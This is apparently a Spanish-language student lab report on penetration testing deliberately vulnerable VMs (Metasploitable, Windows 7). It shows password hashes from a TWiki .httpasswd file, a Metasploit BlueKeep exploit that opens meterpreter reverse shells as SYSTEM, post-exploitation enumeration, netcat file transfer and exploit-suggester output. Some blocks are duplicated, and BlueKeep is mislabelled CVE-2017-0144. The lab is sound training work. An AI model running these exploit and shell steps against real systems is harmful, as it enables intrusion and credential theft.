Thu Jan 26 14:46:16 EST 2023
^[[00m

^[[00:33m### SYSTEM #####^[[00m
^[[00:31m[-] Kernel information:^[[00m
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 $

[ Read 1018 lines ]
^G Get Help  ^O WriteOut  ^R Read File  ^Y Prev Page  ^X Cut Text   ^C Cur Pos
^X Exit      ^J Justify    ^W Where Is   ^U Next Page  ^U UnCut Text ^T To Spell
```


- Indicar algún exploit disponible que explote alguna de las vulnerabilidades locales encontradas.

```

and you are welcome to modify and redistribute

Server version      5.0.51a-3ubuntu5
Protocol version    10

```

```

^[[00;33m[-] httpasswd found - could contain passwords:^[[00m
/home/msfadmin/vulnerable/twiki20030201/twiki-source/data/.httpasswd
TWikiGuest:zK.G.uuPi39Qg
PeterThoeny:CQd.jUgwC6YckI
NicholasLee:h3i.9AzGUn4tQ
AndreaSterbini:zuUMZ1kXvUR6Y
JohnTalintyre:2f131yuNhvMrU
MikeMannix:euHykHV5Q2miA

```

```

msf6 auxiliary(scanner/smb/smb_version) > search httpasswd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/unix/webapp/xymon_useradm_cmd_exec 2016-02-14      excellent Yes     Xymon useradm Command Execution
1  exploit/unix/webapp/zpanel_username_exec 2013-06-07      excellent Yes     ZPanel 10.0.0.2 httpasswd Module Username Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/webapp/zpanel_username_exec

msf6 auxiliary(scanner/smb/smb_version) > use 1
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/zpanel_username_exec) > options

Module options (exploit/unix/webapp/zpanel_username_exec):

Name      Current Setting  Required  Description
--      -
PASSWORD  /                yes       The password to authenticate with
Proxies   /                no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS    /                yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     80              yes       The target port (TCP)
SSL       false           no        Negotiate SSL/TLS for outgoing connections
TARGETURI /                yes       The base path to ZPanel
USERNAME  /                yes       The username to authenticate as
VHOST     /                no        HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   ZPanel 10.0.0.2 on Linux

View the full module info with the info, or info -d command.

```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/webapp/moinmoin_twikidraw	2012-12-30	manual	Yes	MoinMoin twikidraw Action Traversal File Upload
1	exploit/unix/http/twiki_debug_plugins	2014-10-09	excellent	Yes	Twiki Debugenableplugins Remote Code Execution
2	exploit/unix/webapp/twiki_history	2005-09-14	excellent	Yes	Twiki History TwikiUsers rev Parameter Command Execu
3	exploit/unix/webapp/twiki_maketext	2012-12-15	excellent	Yes	Twiki MAKETEXT Remote Command Execution
4	exploit/unix/webapp/twiki_search	2004-10-01	excellent	Yes	Twiki Search Function Arbitrary Command Execution

2- SISTEMAS WINDOWS

- Explotación de la vulnerabilidad CVE-2017-0144 aka bluekeep para acceso con usuario privilegiado.

```
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > options
```

Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):

Name	Current Setting	Required	Description
RDP_CLIENT_IP	192.168.0.100	yes	The client IPv4 address to report during connect
RDP_CLIENT_NAME	ethdev	no	The client computer name to report during connect, UNSET = random
RDP_DOMAIN		no	The client domain name to report during connect
RDP_USER		no	The username to report during connect, UNSET = random
RHOSTS	10.0.2.20	yes	The target host(s), see https://github.com/rapid7/metasploit-framework
RPORT	3389	yes	The target port (TCP)

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	---
2	Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)

END0453.jpg

View the full module info with the `info`, or `info -d` command.

```

msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 1
target => 1
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.20:3389 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.2.20:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] 10.0.2.20:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 10.0.2.20:3389 - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.2.20:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 10.0.2.20:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8013200000, Channel count 1.
[!] 10.0.2.20:3389 - <-----| Entering Danger Zone |----->
[*] 10.0.2.20:3389 - Surfing channels ...
[*] 10.0.2.20:3389 - Lobbing eggs ...
[*] 10.0.2.20:3389 - Forcing the USE of FREE'd object ...
[!] 10.0.2.20:3389 - <-----| Leaving Danger Zone |----->
[*] Sending stage (200774 bytes) to 10.0.2.20
[*] Sending stage (200774 bytes) to 10.0.2.20
[-] Failed to load client portion of priv.
[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 10.0.2.20:49159) at 2023-01-26 21:32:52 +0100
[*] Meterpreter session 2 opened (10.0.2.15:4444 -> 10.0.2.20:49160) at 2023-01-26 21:32:52 +0100

meterpreter > bg

```

```

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

```

- Enumeración básica y recopilación de información de la máquina utilizando módulos de metasploit y comandos.

```

msf6 exploit(multi/handler) > sessions

Active sessions
=====

  Id  Name      Type           Information           Connection
  --  -
  1    meterpreter x64/windows HETEAAM\user @ HETEAAM 10.0.2.15:4444 -> 10.0.2.20:49227 (10.0.2.20)

msf6 exploit(multi/handler) >

```

```
msf6 exploit(multi/handler) > db_nmap -sV 10.0.2.20 -T 5 -O
[*] Nmap: Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-26 21:54 CET
[*] Nmap: Stats: 0:01:22 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
[*] Nmap: Service scan Timing: About 85.71% done; ETC: 21:56 (0:00:13 remaining)
[*] Nmap: Nmap scan report for 10.0.2.20
[*] Nmap: Host is up (0.0012s latency).
[*] Nmap: Not shown: 986 closed tcp ports (reset)
[*] Nmap: PORT      STATE SERVICE      VERSION
[*] Nmap: 135/tcp    open  msrpc        Microsoft Windows RPC
[*] Nmap: 139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
[*] Nmap: 445/tcp    open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: EMPRESA)
[*] Nmap: 554/tcp    open  rtsp?
[*] Nmap: 2869/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[*] Nmap: 3389/tcp   open  ms-wbt-server?
[*] Nmap: 9090/tcp   open  http         BadBlue httpd 2.7
[*] Nmap: 10243/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[*] Nmap: 49152/tcp  open  msrpc        Microsoft Windows RPC
[*] Nmap: 49153/tcp  open  msrpc        Microsoft Windows RPC
[*] Nmap: 49154/tcp  open  msrpc        Microsoft Windows RPC
[*] Nmap: 49155/tcp  open  msrpc        Microsoft Windows RPC
[*] Nmap: 49156/tcp  open  msrpc        Microsoft Windows RPC
[*] Nmap: 49158/tcp  open  msrpc        Microsoft Windows RPC
[*] Nmap: MAC Address: 08:00:27:F0:41:FC (Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Microsoft Windows 7|2008|8.1
[*] Nmap: OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008::sp1
[*] Nmap: OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: Host: HETEM; OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 155.92 seconds
```

```
msf6 post(windows/gather/credentials/credential_collector) > use post/windows/gather/dumplinks
msf6 post(windows/gather/dumplinks) > options
```

Module options (post/windows/gather/dumplinks):

Name	Current Setting	Required	Description
SESSION		yes	The session to run this module on

View the full module info with the `info`, or `info -d` command.

```
msf6 post(windows/gather/dumplinks) > set session 3
```

session ⇒ 3

```
msf6 post(windows/gather/dumplinks) > exploit
```

```
[*] Running module against HETEA
[*] Extracting lnk files for user user at C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ ...
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\1.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Cleanup.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\curl-7.75.0_4-win64-mingw.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Descargas.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Eula.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\fichero.lnk.
```

```
msf6 post(windows/gather/dumplinks) > exploit
```

```
[*] Running module against HETEA
[*] Extracting lnk files for user user at C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ ...
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\1.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Cleanup.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\curl-7.75.0_4-win64-mingw.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Descargas.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Eula.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\fichero.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FiletoTransfer.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\nc111nt.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Nueva carpeta.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PowerUp (2).lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PowerUp.exe.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PowerUp.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\process-monitor-3-61.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ProcessMonitor_v2.8.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\pruebas.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\python-3.8.8-embed-amd64.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Red.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Seatbelt-results.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SysinternalsSuite.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Temp.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\tools.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\user.lnk.
[*] Processing: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Windows6.1-KB3033929-x64.lnk.
[*] No Recent Office files found for user user. Nothing to do.
[*] Post module execution completed
```

```
msf6 post(windows/gather/dumplinks) > workspace -v
```

Workspaces

current	name	hosts	services	vulns	creds	loots	notes
	default	10	43	11	0	2	24
	VERO	8	41	0	3	0	12
	metasploitable	1	2	0	8	0	0
	metasploitable2	1	36	185	6	0	3
	OWASP	1	1	0	4	0	1
	android	0	0	0	2	0	0
	windowsploitable	1	1	1	6	0	7
	meta3	1	23	2	0	24	3
*	winlpe	1	14	1	0	23	2

```
msf6 exploit(multi/handler) > sessions
```

Active sessions

Id	Name	Type	Information	Connection
1		meterpreter x64/windows	HETEAAM\master @ HETEAAM	10.0.2.15:4444 → 10.0.2.20:49295 (10.0.2.20)

```
msf6 post(windows/escalate/getsystem) > use post/windows/gather/enum_files
msf6 post(windows/gather/enum_files) > options

Module options (post/windows/gather/enum_files):

  Name          Current Setting  Required  Description
  --          -
  FILE_GLOBS    *.config        yes       The file pattern to search for in a filename
  SEARCH_FROM   no              no        Search from a specific location. Ex. C:\
  SESSION       yes             yes       The session to run this module on
```

View the full module info with the `info`, or `info -d` command.

```
msf6 post(windows/gather/enum_files) > set session 2
session => 2
msf6 post(windows/gather/enum_files) > sessions
```

Active sessions

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
2		meterpreter x64/windows	HETEAM\user @ HETEAM	10.0.2.15:4444 → 10.0.2.20:49160 (10.0.2.20)

```
msf6 post(windows/gather/enum_files) > exploit
```

```
[*] Searching C:\Users\ through windows user profile structure
[*] Done!
[*] Post module execution completed
```

```
msf6 post(windows/gather/enum_files) > use post/windows/gather/checkvm
msf6 post(windows/gather/checkvm) > options
```

Module options (post/windows/gather/checkvm):

<u>Name</u>	<u>Current Setting</u>	<u>Required</u>	<u>Description</u>
SESSION		yes	The session to run this module on

View the full module info with the `info`, or `info -d` command.

```
msf6 post(windows/gather/checkvm) > set session 2
session => 2
msf6 post(windows/gather/checkvm) > sessions
```

Active sessions

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
2		meterpreter x64/windows	HETEAM\user @ HETEAM	10.0.2.15:4444 → 10.0.2.20:49160 (10.0.2.20)

```
msf6 post(windows/gather/checkvm) > exploit
```

```
[*] Checking if the target is a Virtual Machine ...
[+] This is a VirtualBox Virtual Machine
[*] Post module execution completed
```



```
msf6 post(windows/gather/enum_logged_on_users) > options

Module options (post/windows/gather/enum_logged_on_users):

  Name      Current Setting  Required  Description
  --      -
CURRENT    true              yes       Enumerate currently logged on users
RECENT     true              yes       Enumerate recently logged on users
SESSION    yes               yes       The session to run this module on

View the full module info with the info, or info -d command.

msf6 post(windows/gather/enum_logged_on_users) > set session 2
session => 2
msf6 post(windows/gather/enum_logged_on_users) > exploit

[*] Running module against HETEAM (10.0.2.20)

Current Logged Users
=====

  SID                               User
  --                               -
S-1-5-21-19172528-1209964388-2871542679-1004  HETEAM\user

[+] Results saved in: /root/.msf4/loot/20230127033151_winlpe_10.0.2.20_host.users.activ_231996.txt

Recently Logged Users
=====

  SID                               Profile Path
  --                               -
S-1-5-18                           C:\Windows\system32\config\systemprofile
S-1-5-19                           C:\Windows\ServiceProfiles\LocalService
S-1-5-20                           C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1376388301-2720775755-2284223861-1104  C:\Users\usuario
S-1-5-21-1376388301-2720775755-2284223861-500    C:\Users\Administrador
S-1-5-21-19172528-1209964388-2871542679-1000    C:\Users\master
S-1-5-21-19172528-1209964388-2871542679-1003    C:\Users\bob
S-1-5-21-19172528-1209964388-2871542679-1004    C:\Users\user

[+] Results saved in: /root/.msf4/loot/20230127033152_winlpe_10.0.2.20_host.users.recen_171831.txt
[*] Post module execution completed
```

```
msf6 post(windows/gather/enum_logged_on_users) > use post/windows/gather/enum_services
msf6 post(windows/gather/enum_services) > options

Module options (post/windows/gather/enum_services):
```

Name	Current Setting	Required	Description
CRED		no	String to search credentials for
PATH		no	String to search path for
SESSION		yes	The session to run this module on
TYPE	All	yes	Service startup option (Accepted: All, Auto, Manual, Disabled)

View the full module info with the `info`, or `info -d` command.

```
msf6 post(windows/gather/enum_services) > set session 2
session => 2
msf6 post(windows/gather/enum_services) > options
```

```
Module options (post/windows/gather/enum_services):
```

Name	Current Setting	Required	Description
CRED		no	String to search credentials for
PATH		no	String to search path for
SESSION	2	yes	The session to run this module on
TYPE	All	yes	Service startup option (Accepted: All, Auto, Manual, Disabled)

View the full module info with the `info`, or `info -d` command.

```
msf6 post(windows/gather/enum_services) > exploit
```

```
[*] Listing Service Info for matching services, please wait ...
[*] New service credential detected: AeLookupSvc is running as 'localSystem'
[*] New service credential detected: ALG is running as 'NT AUTHORITY\LocalService'
[*] New service credential detected: CryptSvc is running as 'NT Authority\NetworkService'
[*] Found 157 Windows Services matching filters
```

Services

Name	Credentials	Command	Startup
ALG	NT AUTHORITY\LocalService	Manual	C:\Windows\System32\alg.exe
AeLookupSvc	localSystem	Manual	C:\Windows\system32\svchost.exe -k netsvcs
AppIDSvc	NT Authority\LocalService	Manual	C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
AppMgmt	LocalSystem	Manual	C:\Windows\system32\svchost.exe -k netsvcs
AppInfo	LocalSystem	Manual	C:\Windows\system32\svchost.exe -k netsvcs

```
msf6 post(windows/gather/enum_services) > workspace -v
```

Workspaces

current	name	hosts	services	vulns	creds	loots	notes
	default	10	43	11	0	2	24
	VERO	8	41	0	3	0	12
	metasploitable	1	2	0	8	0	0
	metasploitable2	1	36	185	6	0	3
	OWASP	1	1	0	4	0	1
	android	0	0	0	2	0	0
	windowsploitable	1	1	1	6	0	7
	meta3	1	23	2	0	24	3
*	winlpe	1	14	1	0	26	3

C:\Windows\system32>ipconfig
ipconfig

Configuraci3n IP de Windows

Adaptador de Ethernet Conexi3n de 3rea local 2:

Sufijo DNS espec3fico para la conexi3n. . . :
V3nculo: direcci3n IPv6 local. . . : fe80::6059:b394:c014:ec5a%16
Direcci3n IPv4. : 10.0.2.25
M3scara de subred : 255.255.255.0
Puerta de enlace predeterminada : 10.0.2.1

Adaptador de t3nel isatap.{B836AF16-DD28-4DC6-8079-55DBCA44AE12}:

Estado de los medios. : medios desconectados
Sufijo DNS espec3fico para la conexi3n. . . :

C:\Windows\system32>pwd

pwd

"pwd" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Windows\system32>net users

net users

Cuentas de usuario de \\

Administrador	bob	Invitado
master	user	

El comando se ha completado con uno o m3s errores.

C:\Windows\system32>net localgroup

net localgroup

Error de sistema 1312.

Una sesi3n de inicio especificada no existe. Es posible que haya finalizado.

C:\Windows\system32>whoami

whoami

nt authority\system

```
C:\Windows\system32>systeminfo
systeminfo
```

```
Nombre de host: HETEAM
Nombre del sistema operativo: Microsoft Windows 7 Professional
Versi3n del sistema operativo: 6.1.7601 Service Pack 1 Compilaci3n 7601
Fabricante del sistema operativo: Microsoft Corporation
Configuraci3n del sistema operativo: Estaci3n de trabajo miembro
Tipo de compilaci3n del sistema operativo: Multiprocessor Free
Propiedad de: Usuario de Windows
Organizaci3n registrada:
Id. del producto: 00371-177-0000061-85754
Fecha de instalaci3n original: 03/06/2018, 12:28:55
Tiempo de arranque del sistema: 30/01/2023, 19:23:39
Fabricante del sistema: innotek GmbH
Modelo el sistema: VirtualBox
Tipo de sistema: x64-based PC
Procesador(es): 1 Procesadores instalados.
[01]: Intel64 Family 6 Model 151 Stepping 2 GenuineIntel ~2496 Mhz
Versi3n del BIOS: innotek GmbH VirtualBox, 01/12/2006
Directorio de Windows: C:\Windows
Directorio de sistema: C:\Windows\system32
Dispositivo de arranque: \Device\HarddiskVolume1
Configuraci3n regional del sistema: es;Espa3ol (internacional)
Idioma de entrada: es;Espa3ol (tradicional)
Zona horaria: (UTC+01:00) Amsterdam, Berl3n, Berna, Roma, Estocolmo, Viena
Cantidad total de memoria f3sica: 2.048 MB
Memoria f3sica disponible: 1.508 MB
Memoria virtual: tama3o m3ximo: 4.095 MB
Memoria virtual: disponible: 3.535 MB
Memoria virtual: en uso: 560 MB
Ubicaci3n(es) de archivo de paginaci3n: C:\pagefile.sys
Dominio: empresa.local
Servidor de inicio de sesi3n: N/D
Revisi3n(es): 3 revisi3n(es) instaladas.
[01]: KB2534111
[02]: KB3033929
[03]: KB976902

Tarjeta(s) de red: 1 Tarjetas de interfaz de red instaladas.
[01]: Conexi3n de red Intel(R) PRO/1000 MT
Nombre de conexi3n: Conexi3n de 3rea local 2
DHCP habilitado: S3
Servidor DHCP: 10.0.2.3
Direcciones IP
[01]: 10.0.2.25
[02]: fe80::6059:b394:c014:ec5a
```

- Transferencia a la máquina vulnerable, utilizando netcat, de cualquiera de los scripts vistos en clase para comprobar vulnerabilidades locales.

```
C:\Windows\system32\cmd.exe - nc64 -lvp 8080
Microsoft Windows [Versión 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\user>cd Escritorio
El sistema no puede encontrar la ruta especificada.

C:\Users\user>cd Desktop

C:\Users\user\Desktop>ls
"ls" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Users\user\Desktop>cd Transferencia de archivos

C:\Users\user\Desktop\Transferencia de Archivos>nc -lvp 8080 > wes.py
"nc" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Users\user\Desktop\Transferencia de Archivos>nc64 -lvp 8080 > wes.py
Listening on [any] 8080 ...
```

```
(root@kali)-[/home/veronica/Documentos/red_team]
# nc 10.0.2.20 8080 -w 3 < wes.py
```

```
connect to [10.0.2.20] from (UNKNOWN) [10.0.2.15] 59730: NO_DATA

C:\Users\user\Desktop\Transferencia de Archivos>ls
"ls" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Users\user\Desktop\Transferencia de Archivos>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: 7047-762D

Directorio de C:\Users\user\Desktop\Transferencia de Archivos

27/01/2023  03:49    <DIR>          .
27/01/2023  03:49    <DIR>          ..
09/03/2021  21:04             889.856 certutil.exe
09/03/2021  19:03             4.405.832 curl.exe
24/03/2022  11:12             45.272 nc64.exe
20/04/2020  13:26             28.160 python.exe
27/01/2023  03:51             41.358 wes.py
09/03/2021  18:52             4.923.280 wget.exe
26/01/2023  13:30             7.168 winlpe.exe
              7 archivos             10.340.926 bytes
              2 dirs             1.532.633.088 bytes libres

C:\Users\user\Desktop\Transferencia de Archivos>
```

```
C:\Windows\System32>cd systeminfo.exe
El nombre del directorio no es válido.

C:\Windows\System32>systeminfo.exe > C:\Users\user\Desktop\systeminfo.txt

C:\Windows\System32>
```



- Ejecución del script a través de shell.

```
- ID: KB5022338
- Release date: 20230117
[+] Done. Displaying 4373 of the 4373 vulnerabilities found.

C:\Users\user\Desktop\Transferencia de Archivos>python wes.py systeminfo.txt
WARNING:root:chardet module not installed. In case of encoding errors, install c
hardet using: pip2 install chardet
Windows Exploit Suggester 1.03 ( https://github.com/bitsadmin/wesng/ )
[+] Parsing systeminfo output
[+] Operating System
  - Name: Windows 7 for x64-based Systems Service Pack 1
  - Generation: 7
  - Build: 7601
  - Version: None
  - Architecture: x64-based
  - Installed hotfixes (3): KB2534111, KB3033929, KB976902
[+] Loading definitions
  - Creation date of definitions: 20230126
[+] Determining missing patches
```

```
C:\Windows\system32\cmd.exe
- KB3055642: patches 1 vulnerability
- KB2937610: patches 1 vulnerability
- KB3046017: patches 1 vulnerability
- KB2487367: patches 1 vulnerability
- KB2743555: patches 1 vulnerability
- KB2965788: patches 1 vulnerability
- KB4586768: patches 1 vulnerability
- KB4015552: patches 1 vulnerability
- KB2736422: patches 1 vulnerability
- KB2931356: patches 1 vulnerability
- KB2736428: patches 1 vulnerability
- KB4457027: patches 1 vulnerability
- KB2621146: patches 1 vulnerability
- KB3005607: patches 1 vulnerability
- KB2654428: patches 1 vulnerability
- KB2853587: patches 1 vulnerability
- KB2509553: patches 1 vulnerability
[-] Missing service pack
- Update for Windows 7 for x64-based Systems (KB3125574)
[!] KB with the most recent release date
- ID: KB5022338
- Release date: 20230117
[+] Done. Displaying 4373 of the 4373 vulnerabilities found.
C:\Users\user\Desktop\Transferencia de Archivos>python wes.py systeminfo.txt
```

- Indicar algún exploit disponible que explote alguna de las vulnerabilidades locales encontradas.

```
Archivo Acciones Editar Vista Ayuda
Affected product: Windows 7 for x64-based Systems Service Pack 1
Affected component: Windows Internet Explorer 8
Severity: Critical
Impact: Remote Code Execution
Exploit: http://www.exploit-db.com/exploits/25294
Date: 20120612
CVE: CVE-2012-0217
KB: KB2709715
Title: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege
Affected product: Windows 7 for x64-based Systems Service Pack 1
Affected component:
Severity: Important
Impact: Elevation of Privilege
Exploits: https://www.exploit-db.com/exploits/28718/, https://www.exploit-db.com/exploits/46508/
```



```
msf6 post(windows/gather/enum_services) > search cve:2012-0217
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/freebsd/local/intel_sysret_priv_esc	2012-06-12	great	Yes	FreeBSD Intel SYSRET Privilege Escalation

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/freebsd/local/intel_sysret_priv_esc`